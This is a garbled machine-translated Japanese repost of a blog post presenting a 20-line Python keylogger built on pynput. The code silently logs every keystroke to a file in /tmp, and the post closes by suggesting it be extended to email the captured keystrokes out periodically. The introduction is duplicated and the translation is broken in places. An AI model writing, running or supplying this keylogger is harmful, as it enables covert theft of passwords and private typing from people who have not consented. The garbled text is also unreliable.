Keyloggerコードのちょうど20行
4736 ワード
私はあなたがオタクしているので、このウェブサイトを訪問しているので、あなたはすでに用語キーロガーを聞いていることを確認してください.
あなたが知らないならば、私が非常に速く説明させてください、その名前が示すキーロガーはあなたのキーストローク*を捕えて、どこかに彼らを救うツールです.
あなたがペンテスターならば、私はあなたがあなたのバッグでそのようなツールを持っていると確信します💻.
我々は、キーボードのイベントをキャプチャするスクリプト言語とpynputライブラリとしてPythonを使用している.
ここでは完全なコードは、正確に20行、コード自体を説明します.
あなたが知らないならば、私が非常に速く説明させてください、その名前が示すキーロガーはあなたのキーストローク*を捕えて、どこかに彼らを救うツールです.
あなたがペンテスターならば、私はあなたがあなたのバッグでそのようなツールを持っていると確信します💻.
我々は、キーボードのイベントをキャプチャするスクリプト言語とpynputライブラリとしてPythonを使用している.
ここでは完全なコードは、正確に20行、コード自体を説明します.
class Keylogger:
def __init__(self):
self.keylogs = '/tmp/keylogs.logs'
self.keylogsfile = open(self.keylogs, 'a+')
def callback(self, key):
try:
self.keylogsfile.write(key.char)
except AttributeError:
special_key = str(key)
if special_key == 'Key.enter':
special_key = '\n'
if special_key == 'Key.space':
special_key = ' '
self.keylogsfile.write(special_key)
def run(self):
with keyboard.Listener(on_press=self.callback) as l:
l.join()
def stop(self):
self.keylogsfile.close()
時間がある場合は、定期的に電子メールを介してキャプチャキーストロークを送信するには、このコードを拡張することができます😉Reference
この問題について(Keyloggerコードのちょうど20行), 我々は、より多くの情報をここで見つけました https://dev.to/ablil/keylogger-in-just-20-lines-of-code-6kkテキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol